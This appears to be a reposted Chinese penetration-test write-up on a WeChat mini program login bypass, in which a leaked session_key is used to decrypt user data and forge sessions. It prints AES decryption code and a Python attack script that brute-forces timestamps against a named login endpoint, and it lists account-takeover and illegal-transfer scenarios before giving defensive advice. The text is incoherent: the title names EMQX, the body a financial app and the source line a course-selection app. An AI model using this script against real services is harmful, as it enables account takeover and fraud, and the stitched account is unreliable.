记一次外网到EMQX 后渗透
一、漏洞场景复现
(一)漏洞复现
-
目标系统:某金融类小程序(版本V2.3.1)
-
测试工具:Burp Suite Pro v1.8.4 + WechatDevTools v1.18.0 -
关键参数: -
encryptedData
:AES-CBC加密的用户敏感数据 -
iv
:16字节初始化向量 -
jsCode
:微信登录临时凭证(有效期5分钟) -
缺失参数: session_key
(会话密钥)
-
1、抓包,发现有encryptedData和iv,但少了sessionkey,却多了jsCode等巴拉巴拉的参数和参数值。
发现appletLoginAuthUri所需要的参数,正好都一并泄露了,传入值,访问后 嗯,这不是正缺少的sessionkey吗
使用bp的插件进行解密,发现sessionkey和iv和密文都是正确的,可以成功解出明文。
重新生成密文,替换为原来的请求包,但是一直无法登录成功(没截图)猜测是时间戳的问题 重复原来的操作,并替换时间戳。
到此成功登录。
二、漏洞原理分析
(一)加密链路缺陷
-
前端暴露密钥要素通过小程序逆向工程发现: // wx.login接口明文返回jsCodewx.login({ success(res) {console.log(res.code); // 直接暴露jsCode }});
-
后端响应泄露密钥材料抓取登录接口响应包: HTTP/1.1 200 OKContent-Type: application/json{ "encryptedData": "...", "iv": "...", "session_key": "0123456789abcdef0123456789abcdef" // 核心密钥泄露}
(二)攻击链路推演
graph TD A[获取jsCode] --> B[构造虚假登录请求] B --> C{后端响应} C -->|包含session_key| D[解密encryptedData] D --> E[伪造完整会话] E --> F[绕过实名认证]
三、漏洞利用实战
(一)密钥重组
-
AES-CBC参数准备 from Crypto.Cipher import AESimport base64defdecrypt(session_key, iv, encrypted_data): cipher = AES.new(session_key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(base64.b64decode(encrypted_data))return decrypted.decode('utf-8')
-
时间戳同步突破发现服务端时间校验逻辑: // 后端时间校验代码片段long clientTime = request.getHeader("X-Timestamp");if (Math.abs(clientTime - System.currentTimeMillis()) > 300000) {thrownew InvalidTimestampException();}
(二)自动化攻击脚本
import requestsimport timeTARGET_URL = "https://api.wechat-loan.com/login"HEADERS = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.36","X-Requested-With": "XMLHttpRequest"}defexploit():# 获取当前时间戳(毫秒) timestamp = int(time.time() * 1000)# 构造恶意请求 payload = {"jsCode": "023f4a5b6c8d9e0f1a2b3c4d5e6f7a8b9c","encryptedData": "CvYyQ2...","iv": "XyZwVu...","timestamp": timestamp }# 发送请求 response = requests.post(TARGET_URL, json=payload, headers=HEADERS)# 时间戳修正循环while"invalid timestamp"in response.text.lower(): timestamp += 1000# 毫秒级微调 payload["timestamp"] = timestamp response = requests.post(TARGET_URL, json=payload, headers=HEADERS)return response.json()if __name__ == "__main__": session = exploit() print("Session Token:", session.get("token"))
四、漏洞危害评估
(一)攻击面分析
-
数据窃取链路 -
用户实名信息(姓名/身份证号) -
微信绑定手机号 -
设备硬件特征码
-
-
-
通过 encryptedData
可解析出:
-
-
业务风险场景 -
绕过风控策略批量注册虚假账号 -
操纵高价值账户进行非法转账 -
结合短信嗅探实现完整账户接管
-
五、防御体系重构建议
(一)加密机制升级
-
密钥管理体系 -
采用ECDH密钥协商协议动态生成session_key -
实现密钥轮转机制(每7天更换)
-
-
加密算法强化 // 推荐加密方案(Java实现)Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");cipher.init(Cipher.ENCRYPT_MODE, secretKey, new GCMParameterSpec(128, iv));
(二)时间戳防御矩阵
-
时钟回拨防护 # 服务端时间校验逻辑defvalidate_timestamp(client_ts): server_ts = time.time()if abs(server_ts - client_ts) > 5 * 60:raise TimeAttackDetected()if client_ts < (server_ts - 300):raise TimestampBacktrackDetected()
-
时区标准化处理强制所有请求携带 X-Timezone
头并进行UTC时间校准。
六、总结与启示
本案例揭示了典型移动端安全三大黑洞:
-
加密组件滥用:AES-CBC模式缺乏完整性保护 -
时间校验缺失:5分钟时间窗口足以实施暴力破解 -
敏感参数泄露:前端暴露关键密钥要素
建议企业立即开展:
-
小程序专项安全审计(每季度一次) -
建立API参数黑白名单管控机制 -
部署RASP实时攻击检测系统
原文始发于微信公众号(不秃头的安全):【SRC】某选课小程序任意用户登录漏洞深度剖析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论